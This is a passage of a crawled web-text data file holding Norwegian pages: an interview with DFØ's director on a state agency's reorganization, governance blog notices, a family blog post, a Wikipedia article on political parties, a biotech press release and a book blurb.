f\u00e5 opp alle motforestillingene. Dette var nyttig, vi fikk tenkt igjennom og diskutert mye lenge f\u00f8r vi faktisk kom til gjennomf\u00f8ringsfasen. Da v\u00e5r interne prosess var ferdig sendte vi en anbefaling til Finansdepartementet. Etter behandling i Stortinget fikk vi oppdraget.\n\n**Hvordan organiserte dere omstillingsarbeidet?**  \nDette har v\u00e6rt en stor prosess for DF\u00d8, som har ber\u00f8rt tre fjerdedeler av virksomheten. Vi har gjort tre ting: vi har flyttet produksjonen geografisk, vi har endret m\u00e5ten vi er organisert p\u00e5, og vi har nedbemannet. Parallelt har vi opprettholdt tjenesteleveransene. DF\u00d8 er en produksjonsvirksomhet som skulle virke uten avvik.\n\nM\u00e5let med omstillingen var \u00e5 transformere linjeorganisasjonen, og omstillingsarbeidet ble derfor lagt til linjen. Vi hadde ingen separat prosjektorganisasjon. Alle avdelingsdirekt\u00f8rer hadde et klart definert ansvar. En del av transformasjonen handlet om at vi ble prosessorganisert, og det m\u00e5tte jo skje i linjen. Du kan ikke endre en organisasjon uten \u00e5 ha tro p\u00e5 at den samme organisasjonen har evne til \u00e5 endre seg.\n\nLedere p\u00e5 alle niv\u00e5er hadde et tydelig ansvar for og eierskap til arbeidet, og alle lederne hadde ansvar for \u00e5 gjennomf\u00f8re omstilling. Vi hadde en plan, men var samtidig klar over at det ville dukke opp uforutsette ting. Vi overv\u00e5ket utviklingen kontinuerlig, for forst\u00e5 hvilke tiltak som burde settes inn. Dette h\u00e5ndterte vi i fellesskap som ledergruppe. Det var veldig viktig for oss \u00e5 ha kapasitet til \u00e5 h\u00e5ndtere det uforutsette. Det var ogs\u00e5 viktig for meg som direkt\u00f8r \u00e5 ha klare ansvarslinjer, slik at jeg visste hvem jeg skulle g\u00e5 til hvis det oppstod problemer.\n\n**Hva har prosessen krevd av deg som leder?**  \nDet er krevende \u00e5 st\u00e5 i en omstillingsprosess som inneb\u00e6rer nedbemanning. Da m\u00e5 du virkelig tro p\u00e5 at det du gj\u00f8r er riktig og n\u00f8dvendig. Men jeg tenker at denne type utfordringer f\u00f8lger med lederrollen. Hvis man ikke er komfortabel med det b\u00f8r man kanskje ikke s\u00f8ke seg til topplederstillinger. Jeg opplevde god etatsledelse fra Finansdepartementet: jeg fikk b\u00e5de handlingsrom og st\u00f8tte. Det var avgj\u00f8rende at departementet var villig til \u00e5 ta risiko, og til \u00e5 t\u00e5le litt st\u00f8y underveis.\n\nJeg delegerte mye av et som var knyttet til styring, som utredning og analyser, planlegging, gjennomf\u00f8ring og rapportering. Jeg var mer opptatt av ledelsesaspektet: ta beslutninger, ansvarliggj\u00f8re min egen ledergruppe og sikre at vi hadde nok lederkapasitet.\n\nJeg har v\u00e6rt veldig opptatt av tydelig kommunikasjon. Tidlig i prosessen reiste jeg rundt til kontorene som skulle legges ned, og formidlet budskapet akkurat som det var: dere m\u00e5 enten flytte eller finne en ny jobb. Dette h\u00f8res kanskje brutalt ut, men mitt m\u00e5l var at f\u00e6rrest mulig skulle ende opp som arbeidsledige.\u00a0 De ansatte fikk minst 18 m\u00e5neders varsel f\u00f8r flytteplikten inntraff. Jeg mener vi gjennomf\u00f8rte prosessen p\u00e5 en hensynsfull og ansattvennlig m\u00e5te. Det er mye lettere \u00e5 s\u00f8ke ny jobb mens man st\u00e5r i jobb, enn n\u00e5r man er uten jobb. Vi tilb\u00f8d st\u00f8tte i prosessen, med jobbs\u00f8kerkurs, coaching og bistand til \u00e5 finne ny jobb. De ansatte hadde ogs\u00e5 mulighet til \u00e5 f\u00e5 flyttest\u00f8tte og pendlerst\u00f8tte.\n\nAv 101 personer som m\u00e5tte flytte for \u00e5 beholde jobben var det kun \u00e9n som hadde en uavklart situasjon seks m\u00e5neder etter at omstillingen var gjennomf\u00f8rt. Det synes jeg er utrolig bra \u2013 f\u00f8rst og fremst for dem det gjelder, men ogs\u00e5 fordi jeg synes det er viktig at v\u00e5re gevinster ikke baserer seg p\u00e5 at kostnadene egentlig bare flyttes til andre deler av samfunnet.\n\n**Hvilke gevinster har omstillingen resultert i?**  \nJeg m\u00e5 f\u00e5 si at det er utrolig morsomt at det er s\u00e5 mange merkbare effekter\\! Vi har f\u00e5tt mer utviklingskraft, \u00f8kt kvalitet i tjenesteproduksjonen og mulighet til \u00e5 hente ut stordriftsfordeler. Dette gj\u00f8r oss mye bedre i stand til \u00e5 v\u00e6re fremtidsrettede, og fortsette \u00e5 utnytte de mulighetene digitalisering gir. Jeg tror alle i DF\u00d8 ser denne effekten.\n\nDet er ikke alle gevinstene som har kommet med en gang. En viktig konsekvens av endringene er at den personlige \u2013 men ogs\u00e5 s\u00e5rbare \u2013 kundekontakten har blitt borte. I stedet for at det er enkeltpersoner som leverer tjenestene skal vi v\u00e6re en virksomhet som gj\u00f8r det. Da blir vi mer robuste og profesjonelle. Men overgangen har medf\u00f8rt at kundetilfredsheten har sunket fra rundt 80 prosent til under 70. Dette var ikke overraskende, men er noe vi m\u00e5 h\u00e5ndtere. Vi jobber med \u00e5 kompensere for bortfallet av personlig betjening, blant annet gjennom \u00f8kt kvalitet i v\u00e5re leveranser. I motsetning til det som kunne v\u00e6re tilfelle tidligere, vil kundene v\u00e5re n\u00e5 alltid f\u00e5 raskt og riktig svar p\u00e5 sine henvendelser, fordi det ikke avhenger av en enkelt saksbehandlers tilstedev\u00e6relse.\n\nOmstillingen har medf\u00f8rt reduserte kostnader tilsvarende 6 prosent av v\u00e5rt \u00e5rsbudsjett. Det er i all hovedsak nedgang i l\u00f8nnskostnader og leie av lokaler som st\u00e5r for innsparingen. For \u00e5 realisere gevinsten var det viktig \u00e5 minimere omstillingskostnadene. Det er fullt mulig \u00e5 bruke s\u00e5 mye ressurser p\u00e5 selve omstillingen av hele gevinsten blir spist opp.\n\n**Hvordan gikk dere frem for \u00e5 minimere omstillingskostnadene?**  \nDet viktig grep var \u00e5 unng\u00e5 dyre sluttpakker. Jeg er ogs\u00e5 overbevist om at dette var til det beste for de ansatte, som fikk insentiv til \u00e5 s\u00f8ke ny jobb s\u00e5 raskt som mulig. Men vi anvendte jo andre virkemidler som kostet: som coaching, flyttest\u00f8tte, pendlerst\u00f8tte osv.\n\nVi fikk ingen ekstrabevilgninger til \u00e5 gjennomf\u00f8re omstillingen, men vi omdisponerte interne midler og prioriterte nesten all utviklingskapasitet til denne prosessen. Prosessen ble i all hovedsak gjennomf\u00f8rt med interne krefter, s\u00e5 vi brukte lite penger p\u00e5 eksterne konsulenter. Vi s\u00f8rget derimot for \u00e5 ha overlapp mellom ansatte for \u00e5 ha bufferkapasitet, for \u00e5 sikre produksjonen i omstillingsfasen.\n\n**Hvilke r\u00e5d har du til andre ledere som st\u00e5r foran en omstilling?**  \nFor \u00e5 oppsummere vil jeg si at man b\u00f8r:\n\n  - Ta initiativ selv, kom opp med et forslag til den beste l\u00f8sningen uavhengig av politiske hensyn\n  - Ta risiko, men hold niv\u00e5et over deg orientert\n  - Minimer omstillingskostnadene og s\u00f8rg for at prosessen faktisk vil generere gevinster\n\nLa meg ogs\u00e5 f\u00e5 komme med noen r\u00e5d til etatsstyrere: utl\u00f8s eierskap hos underliggende niv\u00e5, ut\u00f8v ledelse og ha dialog.\n\n-----\n\n**Fakta om DF\u00d8:**  \nDirektoratet for \u00f8konomistyring (DF\u00d8) er statens ekspertorgan innenfor statlig styring, og utf\u00f8rer forvaltningsoppgaver for alle statlige virksomheter. DF\u00d8 er organisert i fem avdelinger: l\u00f8nnsavdelingen, regnskapskapsavdelingen, forvaltings- og analyseavdelingen, strategi- og fellestjenesteavdelingen og kommunikasjonsenheten. Avdelingene er lokaliserte med en sentralenhet i Oslo og tre kontorsteder: Hamar, Stavanger og Trondheim. Kontorstedene leverer l\u00f8nns- og regnskapstjenester til statlige virksomheter. Sentralenheten i Oslo tar seg av administrative oppgaver, systemtjenester, produktutvikling og forvaltingsoppgaver.\n\n\u00a0  \n***N\u00f8kkeltall:***\n\n  - 425 ansatte, hvorav ca. 300 jobber med l\u00f8nns- og regnskapstjenester\n  - L\u00f8nns- og/eller regnskapstjenester til rundt 85 prosent av alle statlige virksomheter\n  - L\u00f8nnsutbetalinger til 79 000 statlige ansatte, 90 000 honorarl\u00f8nnede og 31 000 timel\u00f8nnede\n  - 44 615 944 057 (44,6 mrd.) kr utbetalt i l\u00f8nns- og reiseutbetalinger i 2015\n  - 507 000 000 000 kr utbetalt via \u00f8konomisystemet\n\nKategorier: Bedre styring og ledelse, Skal sendes som nyhetsbrev, Strategisk bruk av IKT\n\n## Hvordan gjennomf\u00f8re en endringsprosess i praksis?\n\nDato: 16. september 2016 | Sist oppdatert: 16. september 2016 |  av Hanne-Cecilie Bj\u00f8rka\n\n**I dag arrangerte Oslo Business Forum et gratis webinar hvor Anita Krohn Traaseth snakker om hvordan det er \u00e5 gjennomf\u00f8re en endringsprosess i praksis. Hvis du gikk glipp av det, men \u00f8nsker \u00e5 se det er det fremdeles muligheter.**\n\n\n\n*Foto: Agnete Brun*\n\n## Hva skjer i departementene?\n\nDato: 17. juni 2016 |  av Hanne-Cecilie Bj\u00f8rka\n\n***En god rolle- og oppgavedeling mellom departement og direktorat er avgj\u00f8rende for \u00e5 f\u00e5 bedre gjennomf\u00f8ringskraft og resultatorientering i statlig sektor. Derfor er rolle- og oppgavedeling mellom departement og direktorat en relevant problemstilling i flere av tiltakene innenfor rammen av program for bedre styring og ledelse i staten. Vi synes derfor det er spennende at Stat & Styring har en omfattende dekning av departementenes rolle i sitt siste nummer. De stiller sp\u00f8rsm\u00e5lene: Utnyttes fagfolk til propaganda-form\u00e5l? Eller er det fagfolkene som holder de propaganda-ivrige politikerne og kommunikasjonsr\u00e5dgiverne i \u00f8rene?***\n\n\n\n\u00a0  \n## Regjeringen \u00f8nsker mindre detaljstyring og mer vekt p\u00e5 ledelse i NAV\n\nDato: 27. mai 2016 | Sist oppdatert: 27. mai 2016 |  av Hanne-Cecilie Bj\u00f8rka\n\n**Regjeringen foresl\u00e5r en rekke tiltak som skal gj\u00f8re NAV bedre i stand til \u00e5 f\u00e5 folk i jobb. Arbeids- og sosialminister Anniken Hauglie\u00a0la 20. mai i \u00e5r frem stortingsmeldingen *NAV i en ny tid \u2013 for arbeid og aktivitet*. NAV skal jobbe p\u00e5 en smartere og enklere m\u00e5te, og v\u00e6re mindre opptatt av tellekanter. \u00d8kt lokal handlefrihet gir NAV-kontorene bedre mulighet til \u00e5 skreddersy l\u00f8sninger for den enkelte.**\n\n\n\n**Et utvalg tiltak i meldingen:**\n\n  - Mer vekt p\u00e5 kvalitet og resultater for arbeidss\u00f8kerne, mindre p\u00e5 telling av tiltaksplasser.\n  - Gi NAV-kontoret st\u00f8rre mulighet til \u00e5 gjennomf\u00f8re tiltak i egen regi.\n  - Flere selvbetjeningsl\u00f8sninger.\n  - \u00d8kt samarbeid mellom stat og kommune om digitalisering av brukerm\u00f8tene i NAV-kontorene.\n  - Gi NAV-kontorene \u00f8kt myndighet og handlefrihet.\n  - Mindre detaljstyring og mer vekt p\u00e5 ledelse.\n  - Oppfordre til enhetlig ledelse.\n  - Stimulere til st\u00f8rre NAV-kontor \u2013 \u00f8kt kompetanse p\u00e5 hvert kontor.\n\n## Har fagautoriteten til byr\u00e5kratene blitt svekka?\n\nDato: 12. februar 2016 |  av Hanne-Cecilie Bj\u00f8rka\n\nDette var tema for frokostm\u00f8te i regi av Partnerforum den 9. februar 2016. Einar Lie, professor ved Universitetet i Oslo, innledet om tema. Etter at Petter Skarheim, direkt\u00f8r for Utdanningsdirektoratet, og Eli Telhaug, departementsr\u00e5d i Barne-, likestillings- og inkluderingsdepartementet, hadde gitt sine kommentarer til temaet, ble det sp\u00f8rsm\u00e5l fra salen og diskusjon ledet av Aslak Bonde, politisk analytiker. Stat og Styring oppsummerer det hele slik: *\u00abProfessor roper varsko og sier fagautoriteten til norske byr\u00e5krater er truet av politikere som bruker embetsmennene til \u00e5 selge politikken. Toppledere fra embetsverket svarer derimot at fagautoriteten st\u00e5r sterkt.\u00bb*\n\n\n## Gevinstrealiseringsseminar 18. desember\n\nDato: 7. desember 2015 | Sist oppdatert: 14. desember 2015 |  av Hanne-Cecilie Bj\u00f8rka\n\n**Program for bedre styring og ledelse har utviklet tre tiltak som sammen skal gi bedre gevinstrealisering og \u00f8kt tempo i digitaliseringsarbeidet.** **I tillegg er flere av programmets omr\u00e5der, som for eksempel bedre styring og ledelse, avgj\u00f8rende forutsetninger for at de gevinster som er forventet av et prosjekt faktisk blir realisert. Derfor er Program for bedre styring og ledelse i staten i \u00e5r med \u00e5 arrangere Difis \u00e5rlige gevinstrealiseringsseminar.**\n\nForm\u00e5let med seminaret er \u00e5 vise hvordan man kan jobbe systematisk med gevinstrealisering for \u00e5 oppn\u00e5 \u00f8nskede effekter av digitaliseringsprosjekter. M\u00e5lgruppen for seminaret er ledere, gevinsteiere og medarbeidere i offentlig sektor som er engasjert i digitaliseringsarbeidet.\n\n", "language": "no", "__index_level_0__": "18c3b27b-a9c5-484d-bdc7-97890c12a699"}
{"url": "http://herixta.blogspot.com/2011/01/milla-fryser.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00375.warc.gz", "warc_date": "2018-03-24T23:46:01Z", "text": "\n\n    \n\n## onsdag 26. januar 2011\n\n### Milla fryser\n\n kl. 08:46 \n\nI dag er det kaldt ute\\! Milla er kald inne ogs\u00e5. Jeg oppdaget plutselig at jenta, som tuslet rundt i ullundert\u00f8ysgenser og bleie, ristet i hele kroppen. Da hun fikk p\u00e5 seg sokker og ullstilongs s\u00e5 ikke dette ut til \u00e5 hjelpe *litt* engang. Etter at enda et lag med ull/strikkede kl\u00e6r ikke gjorde susen fant jeg ut at \"her m\u00e5tte st\u00f8rre styrker til\". Hun ble derfor pakket inn i et stort ullpledd, fikk en kopp med varm te med masse honning i og omsider s\u00e5 det ut til at varmen kr\u00f8p seg inn i den lille jenta mi. Skal sies at hun ikke ville drikke teen, men koppen hadde nok litt virkning likevel.\u00a0\n\nN\u00e5 skal vi komme oss i barnehagen, for i dag har jeg litt av hvert \u00e5 styre med. Jeg f\u00e5r lunsjbes\u00f8k av barselgruppa med flere og vi skal titte litt p\u00e5 partyvarene mine, s\u00e5 jeg m\u00e5 jo f\u00e5 stilt ut alt :o) Ogs\u00e5 skal jeg p\u00e5 Perfect Home party til en vertinne i Oslo som jeg ikke har m\u00f8tt f\u00f8r\\! Spent\\!\n\nHa en fin dag dere og\\!\n\n  \n Skrevet av Hanne   \n\n## Ny her inne? Her er litt om meg:\n\n\n\n  - Hanne  \n    Jeg er f\u00f8rst og fremst mamma til tre sm\u00e5 rusketroll, Milla, Magnus og Ludvig. Pappaen i familien (Martin) og jeg har v\u00e6rt kj\u00e6rester siden 2004, da vi begge var ganske sm\u00e5 rusk selv. Vi bor i et passe stort hus i et passe befolket omr\u00e5de i passe avstand fra det meste og med de viktigste personene like i n\u00e6rheten.\n\n", "language": "no", "__index_level_0__": "0faa4e51-367b-450c-ac94-a8aa759c71f3"}
{"url": "https://no.wikipedia.org/wiki/Parti", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00630.warc.gz", "warc_date": "2018-03-24T23:41:49Z", "text": "# Politisk parti\n\n(Omdirigert fra Parti)\n\nEt **politisk parti** er en sammenslutning av partimedlemmer, som har relativt sammenfallende syn i politiske sp\u00f8rsm\u00e5l og \u00f8nsker \u00e5 \u00f8ve innflytelse i de politiske beslutningsprosessene. Dette ved \u00e5 stille liste med kandidat(er) ved frie politiske valg, eller p\u00e5 andre m\u00e5ter arbeide for retten til \u00e5 kjempe om politisk innflytelse ved \u00e5 stille til slike frie valg. Politiske partier organiseres noe ulikt fra land til land. Mange politiske partier er grunnlagt p\u00e5 en bestemt ideologi, noen har endret ideologien sin fra de ble grunnlagt, og andre har endret ideologien sin fra de ble grunnlagt. I demokratier blir politiske partier valgt til \u00e5 styre av velgere. Noen land har mange politiske partier, som Norge og India, andre har f\u00e5 politiske partier, som USA, og andre land har ett parti, som Kina.\n\nUlike jursdiksjoner har ulike partistrukturer. Partistrukturene bestemmes av antallet partier i systemet og hvor stor innflytelse hvert parti har. I demokratier styres partistrukturen i stor grad av valgsystemet i jurisdiksjonen.\n\nEnkelte politiske systemer har ikke politiske partier. I upartiske valg stiller hver kandidat for seg, og det finnes ingen formelle koalisjoner i den lovgivende forsamlingen. Upartiske systemer utvikler seg som regel politiske partier med mindre det eksisterer restriksjoner p\u00e5 partidannelse. De f\u00f8rste valgene i USA var upartiske, og mindre land som Tokelau har beholdt en upartisk struktur. Upartisk struktur er mest vanlig p\u00e5 lokalt og regonalt niv\u00e5.\n\nI **ettpartisystemer** holder ett parti den politiske makten. Noen systemer tillater mindre partier s\u00e5 lenge de aksepterer det store partiets styre. Strukturene i partiet og staten er ikke n\u00f8dvendigvis like, men posisjonene i partiet kan ofte v\u00e6re vel s\u00e5 viktige som posisjonene i statsapparatet. De vanligste eksemplene p\u00e5 ettpartisystemer er Nord-Korea og Kina, samt ulike fasciststater som Nazi-Tyskland (1934-45).\n\nI **systemer med ett dominerende parti** tillates opposisjonspartier, men de har som regel ingen mulighet til \u00e5 f\u00e5 regjeringsmakt, p\u00e5 grunn av politiske, sosiale, eller \u00f8konmiske forhold, eller mangel p\u00e5 st\u00f8tte blant velgerne. Ett eksempel er People's Action Party i Singapore.\n\n### Topartisystemer\\[rediger\u00a0| rediger kilde\\]\n\nI topartisystemer dominerer to partier i s\u00e5 stor grad at det blir umulig \u00e5 oppn\u00e5 representasjon for andre partier. I topartisystemer oppst\u00e5r som regel ett koalisjonsparti p\u00e5 venste fl\u00f8y og ett p\u00e5 h\u00f8yre, men partiene er ofte ideologisk inkluderende. USA fungerer i praksis som et topartisystem.\n\n### Flerpartisystemer\\[rediger\u00a0| rediger kilde\\]\n\nI flerpartisystemer blir flere enn to partier valgt til og representert i offentlige organer. Land som Norge og India har to store partier, men mindre partier blir ofte ogs\u00e5 representert. De mindre partiene kan holde maktbalansen i parlamentariske systemer, og dermed enten bli del av en koalisjonsregjering med ett av de store partiene, eller styre uavhengig av de store partiene.\n\nI land med tre eller flere store partier, der ingen partier f\u00e5r flertall alene, er det vanlig \u00e5 samarbeide om koalisjonsregjeringer. Dette er vanlig i Tyskland og Irland.\n\n## Finansiering av politiske partier\\[rediger\u00a0| rediger kilde\\]\n\nPolitiske partier har i hovedsak tre inntektskilder:\n\n  - Donasjoner og medlemsavgifter fra partimedlemmer og st\u00f8ttespillere,\n  - Organisasjoner som deler deres politiske idealer, eller som kan dra fordel av deres aktiviteter (for eksempel selskaper), eller\n  - Statlig eller offentlig finansiering\n\n## Partistrukturer i ulike land\\[rediger\u00a0| rediger kilde\\]\nPartiene i Norge vokste frem sammen med parlamentarismen, som fikk sitt endelige gjennombrudd i 1884. Det var Venstre som ble det f\u00f8rste norske partiet, og som fikk knesatt prinsippet om at statsministeren m\u00e5 hente st\u00f8tte for sin regjering i Stortinget, og ikke hos kongen. H\u00f8yre ble etablert kort tid etter Venstre. I 1887 ble Arbeiderpartiet stiftet, men dette ble ikke representert f\u00f8r ved stortingsvalget i 1903.\n\nDen historiske bakgrunnen for betegnelsene \u00abh\u00f8yreparti\u00bb og \u00abvenstreparti\u00bb kommer fra representantenes plassering i det f\u00f8rste franske parlamentet. De radikale hadde sine seter til venstre for podiet, mens de konservative satt til h\u00f8yre. Senere har \u00absentrum\u00bb kommet til som egen politisk blokkbetegnelse og beskriver partier som legger seg mellom h\u00f8yre- og venstresiden.\n\nI moderne politikk er det som oftest partienes holdninger i \u00f8konomisk politikk, herunder skattepolitikk og fordelingspolitikk, som avgj\u00f8r om det blir betegnet som et h\u00f8yreparti eller et venstreparti. Av partiene i det norske Stortinget regnes tradisjonelt SV og Arbeiderpartiet som venstresiden. Senterpartiet, KrF og Venstre regnes som sentrumspartier, mens H\u00f8yre og FrP regnes som h\u00f8yresiden i politikken.\n\nMilj\u00f8partiet de gr\u00f8nne hevder at den viktigste motsetningen n\u00e5 er mellom en gr\u00e5 blokk og en gr\u00f8nn blokk.^(\\[1\\])\n\nI Norge reguleres muligheten for \u00e5 stille lister til valg av valgloven. Partier som fyller visse betingelser (fastsatt i partiloven), kan la seg registrere i Partiregisteret. Dette gir vern av partinavnet, samtidig som det gj\u00f8res noe enklere \u00e5 stille valglister. Partier og grupper som stiller til valg til Sametinget, kalles samepolitiske enheter og registreres gjennom Sametinget.\n\n#### Partier p\u00e5 lokalt niv\u00e5\\[rediger\u00a0| rediger kilde\\]\n\nLandsdekkende partier i Norge er gjerne inndelt i fylkes- og kommunepartier (tidligere kalt herredspartier), som organiserer plattformen som partiene stiller til valg p\u00e5 i fylkene og kommunene. Det kan ogs\u00e5 v\u00e6re flere lokale avdelinger av partier innen en kommune, som for eksempel ulike arbeiderlag.\n\n", "language": "no", "__index_level_0__": "c8d0cccb-7ce5-42ce-845b-65b16e9a2b20"}
{"url": "http://www.onxeo.com/en/onxeo-announces-establishment-u-s-subsidiary-danish-translation-onxeo-etablerer-amerikansk-datterselskab-2/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00375.warc.gz", "warc_date": "2018-03-24T23:21:28Z", "text": "# Onxeo Announces Establishment of U.S. Subsidiary // DANISH TRANSLATION: Onxeo etablerer amerikansk datterselskab\n\n21 Mar, 2016\n\nNB\\! FOR DANISH TRANSLATION, SCROLL DOWN.\n\n*Pharmaceutical and biotech industry veteran, Philippe Maitre, to head U.S subsidiary*\n\n**Paris (France), Copenhagen (Denmark)\u00a0**\u2013 Onxeo S.A. (Euronext Paris, Nasdaq Copenhagen: ONXEO), an innovative company specializing in the development of orphan oncology therapeutics, today announced the creation of a U.S. subsidiary, based in New York City. The company also announced that experienced industry executive Philippe Maitre will head the U.S. subsidiary with the title of Executive VP & Chief of U.S. Operations.\u00a0 The U.S. subsidiary, to be named Onxeo US, will provide services to Onxeo as the company expands its development programs and establishes closer ties with the scientific and financial communities in the U.S.\n\nJudith Greciet, CEO of Onxeo, commented: *\"The opening of a U.S. subsidiary, to be based in the key business, financial and medical hub of New York City, is a significant step and an important strategic initiative aimed at achieving our goal of connecting with more patients, physicians, Pharma and Biotech companies and investors in the United States. Having a dedicated and experienced team there will allow us to adapt our future activities to the needs of the largest healthcare market in the world. We are delighted to welcome Philippe Maitre to our team as the head of our U.S. subsidiary. Philippe is a seasoned biotech and pharmaceutical professional with experience leading several U.S. companies, with particular expertise in finance, business development and mergers and acquisitions. Philippe brings a wealth of valuable industry experience to Onxeo, and* *will be responsible for establishing the US subsidiary and assisting with a series of strategic initiatives to serve Onxeo's growth*. *We look forward to working closely with him to achieve our global objectives.\"*\n\nPhilippe Maitre commented: *\"It is a privilege to join Onxeo and to work with such a highly qualified team. Through compelling technologies and a strong product pipeline targeting orphan diseases, including the recent acquisition of DNA Therapeutics, there is significant potential to capitalize on numerous research and business opportunities in the U.S. I look forward to leading the U.S. operations and providing the input needed to advance the strategic development of the Company.\"*\n\nMr. Maitre brings more than 35 years of experience in the pharmaceutical and biotech industry, including nearly 15 years as Corporate Officer for US public companies. Mr. Maitre has served as Chief Executive Officer and Co-Founder of mAbRx, a biotech company developing monoclonal antibodies against cancer stem cells in partnership with the Duke Cancer Center. Prior to founding mAbRx, Philippe has been the Chief Executive Officer at Anosys, a cancer vaccine company spin-off from Aventis (today Sanofi). He has also served as a Chief Financial Officer for NASDAQ-listed companies Pharmaceutical Product Development Inc. (PPD Inc.) and Oscient Pharmaceuticals. Earlier in his career, Mr. Maitre served in various roles such as finance, business development and investor relations at companies Rhone Poulenc, Rhone Poulenc Rorer as well as Aventis, where he ultimately held the position of Senior Partner and Deputy CFO for Aventis Pharma Group.\n\nPrior to joining the Pharma Industry, Mr. Maitre served in the French Ministry of Foreign Affairs where he was stationed in Libya. He earned his master's in Finance from the Hautes Etudes de Commerce (HEC) Business School in Paris.\n\n*Philippe Maitre, som har mange \u00e5rs erfaring fra medicinal- og biotekbranchen, bliver leder af det amerikanske datterselskab*\n\n**Paris (Frankrig), K\u00f8benhavn (Danmark)\u00a0**\u2013 Onxeo S.A. (Euronext Paris, Nasdaq Copenhagen: ONXEO), et innovativt selskab med speciale i udvikling af l\u00e6gemidler til behandling af sj\u00e6ldne kr\u00e6ftsygdomme, har i dag offentliggjort, at selskabet etablerer et amerikansk datterselskab med kontor i New York City. Selskabet meddeler samtidig, at Philipe Maitre, som har stor erfaring fra branchen, bliver leder af det amerikanske datterselskab med titlen Executive VP & Chief of U.S. Operations. Det amerikanske datterselskab, som kommer til at hedde Onxeo US, vil levere ydelser til Onxeo, efterh\u00e5nden som selskabet udvider sine udviklingsprogrammer og etablerer t\u00e6ttere kontakt med forsknings- og finansverdenen i USA.\n\nJudith Greciet, Onxeos administrerende direkt\u00f8r, udtaler: *\"Etableringen af et amerikansk datterselskab i New York City, som er omdrejningspunkt for erhvervs-, finans- og medicinalverdenen i USA, er et v\u00e6sentligt skridt og et vigtigt strategisk tiltag med henblik p\u00e5 at opn\u00e5 vores m\u00e5l om at n\u00e5 ud til flere patienter, l\u00e6ger, medicinal- og biotekselskaber samt investorer i USA. Med engagerede og erfarne medarbejdere i USA vil vi kunne tilpasse vores fremtidige aktiviteter til behovet p\u00e5 verdens st\u00f8rste marked for l\u00e6gemidler. Det gl\u00e6der os at byde velkommen til Philippe Maitre som leder af vores amerikanske datterselskab. Philippe har mange \u00e5rs erfaring fra medicinal- og biotekbranchen og har bestredet ledelsesposter i adskillige amerikanske selskaber. Han har s\u00e6rlig ekspertise inden for \u00f8konomi, forretningsudvikling og fusioner og opk\u00f8b.* *Philippe tilf\u00f8rer omfattende og v\u00e6rdifuld erfaring til Onxeo, og han bliver ansvarlig for at etablere det amerikanske datterselskab og hj\u00e6lpe med en r\u00e6kke strategiske tiltag for at underst\u00f8tte Onxeos v\u00e6kst.* *Vi ser frem til at arbejde t\u00e6t sammen med ham om at opn\u00e5 vores globale m\u00e5l.\"*\n\nPhilippe Maitre udtaler: *\"Det er et stort privilegium at tiltr\u00e6de hos Onxeo og samarbejde med s\u00e5 kvalificerede folk. Takket v\u00e6re avancerede teknologier og en st\u00e6rk produktportef\u00f8lje rettet mod sj\u00e6ldne sygdomme, herunder det nylige opk\u00f8b af DNA Therapeutics, er der store muligheder for at udnytte en lang r\u00e6kke forsknings- og forretningsm\u00e6ssige muligheder i USA. Jeg ser frem til at blive ansvarlig for aktiviteterne i USA og levere det input, der skal til for at sikre selskabets strategiske udvikling.\"*\n\nPhilippe Maitre har mere end 35 \u00e5rs erfaring fra medicinal- og biotekbranchen, herunder n\u00e6sten 15 \u00e5r som leder i b\u00f8rsnoterede amerikanske selskaber. Han kommer fra en stilling som administrerende direkt\u00f8r og medstifter af mAbRx, et biotekselskab som udvikler monoklonale antistoffer rettet mod kr\u00e6ft-stamceller i samarbejde med Duke Cancer Center. F\u00f8r han stiftede mAbRx, var Philippe administrerende direkt\u00f8r for Anosys, et kr\u00e6ftvaccineselskab, som var udskilt fra Aventis (i dag Sanofi). Han har ogs\u00e5 v\u00e6ret \u00f8konomidirekt\u00f8r for Pharmaceutical Product Development Inc. (PPD Inc.) og Oscient Pharmaceuticals, som begge er noteret p\u00e5 NASDAQ. Tidligere i karrieren bestred Philippe Maitre forskellige stillinger inden for \u00f8konomi, forretningsudvikling og investor relations i selskaber som Rhone Poulenc, Rhone Poulenc Rorer samt Aventis, hvor han til sidst var Senior Partner og vice-\u00f8konomidirekt\u00f8r for Aventis Pharma Group.\n\nF\u00f8r han begyndte i medicinalbranchen var Philippe Maitre ansat i det franske udenrigsministerium, hvor han var udstationeret i Libyen. Han har en kandidatgrad i Finansiering fra Hautes Etudes de Commerce (HEC) i Paris.\n\n", "language": "no", "__index_level_0__": "dda27e6b-94dc-400d-b619-df6f90206921"}
{"url": "https://www.bokkilden.no/skjoennlitteratur-for-barn-og-ungdom-fantasy-og-magisk-realisme/lykkeravnene-paul-durham/produkt.do?produktId=10231759", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00088.warc.gz", "warc_date": "2018-03-24T23:15:38Z", "text": "  Om boka\n\n**Svartl\u00e5gsbyen styres med jernh\u00e5nd av jarlen og hans soldater, og befolkningen straffes hardt for den minste ting.**\n\nSiv bor sammen med s\u00f8steren og moren i Svartl\u00e5gsbyen. Der er det meste forbudt \u2013 blant annet er det ikke lov for jenter \u00e5 l\u00e6re \u00e5 lese. Jarlen sl\u00e5r hardt ned p\u00e5 alle som bryter en av de mange forbudene, og mennene hans s\u00f8rger for \u00e5 berike seg godt for \u00e5 se gjennom \u00f8ynene med b\u00e5de virkelige og oppdiktede overtredelser. Blant de verste forbrytelsene er \u00e5 gi husrom til en av de beryktede Lykkeravnene. Lykkeravnene ble jaget fra byen etter at de skal ha kidnappet jarlens kone, og etter det har det v\u00e6rt vondt blod mellom jarl Langsjans og Lykkeravnene.\n\n**Myrslasker og andre underlige tildragelser**  \nN\u00e5r merkelige ting skjer i landsbyen, tror Siv at det er de farlige Myrslaskene som er tilbake. Myrslaskene er en slags monstre som hun bare har h\u00f8rt skumle, halvkvedete skr\u00f8ner om \u2013 sannsynligvis for \u00e5 f\u00e5 barna til \u00e5 holde seg innend\u00f8rs etter m\u00f8rkets frembrudd. Men er de virkelig s\u00e5 farlige som alle skal ha det til? Siv og vennene Folly og Kasper bestemmer seg for \u00e5 finne ut hva det er som egentlig skjer. P\u00e5 tross av morens uttrykkelige ordre sniker de seg ut til vertshuset Daufisken p\u00e5 svartm\u00e5nenatten. Det g\u00e5r slettes 